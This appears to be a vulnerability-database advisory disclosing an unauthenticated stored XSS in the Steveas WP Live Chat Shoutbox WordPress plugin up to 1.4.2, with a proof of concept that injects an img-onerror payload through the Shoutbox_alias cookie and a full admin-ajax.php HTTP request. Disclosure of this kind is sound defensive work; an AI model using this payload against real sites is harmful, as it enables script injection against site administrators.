WordPress Plugin Vulnerabilities
Steveas WP Live Chat Shoutbox <= 1.4.2 - Unauthenticated Stored XSS
Description
The plugin does not sanitise and escape a parameter before outputting it back in the Shoutbox, leading to Stored Cross-Site Scripting which could be used against high privilege users such as admins.
Proof of Concept
On a clean Wordpress on localhost: 1. Modify the Shoutbox_alias cookie with a value such as <img src=x onerror=alert(1)> 2. Send a message 3. View the Shoutbox POST /wp-admin/admin-ajax.php HTTP/1.1 Host: localhost Content-Length: 73 sec-ch-ua: "Chromium";v="109", "Not_A Brand";v="99" Accept: application/json, text/javascript, */*; q=0.01 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.75 Safari/537.36 sec-ch-ua-platform: "macOS" Origin: http://localhost Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: http://localhost/ Accept-Encoding: gzip, deflate Accept-Language: en-GB,en-US;q=0.9,en;q=0.8 Cookie: Shoutbox_alias=Guest_209<img src=x onerror=alert(1)>; Connection: close action=shoutbox-ajax-new-message&sys_mes=false&message=Hello+there&room=default
Affects Plugins
References
CVE
Classification
Type
XSS
OWASP top 10
CWE
CVSS
Miscellaneous
Original Researcher
Simone Onofri, Donato Onofri
Submitter
Simone Onofri, Donato Onofri
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Submitter twitter
Verified
Yes
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Timeline
Publicly Published
2023-04-03 (about 1 years ago)
Added
2023-04-03 (about 1 years ago)
Last Updated
2023-04-03 (about 1 years ago)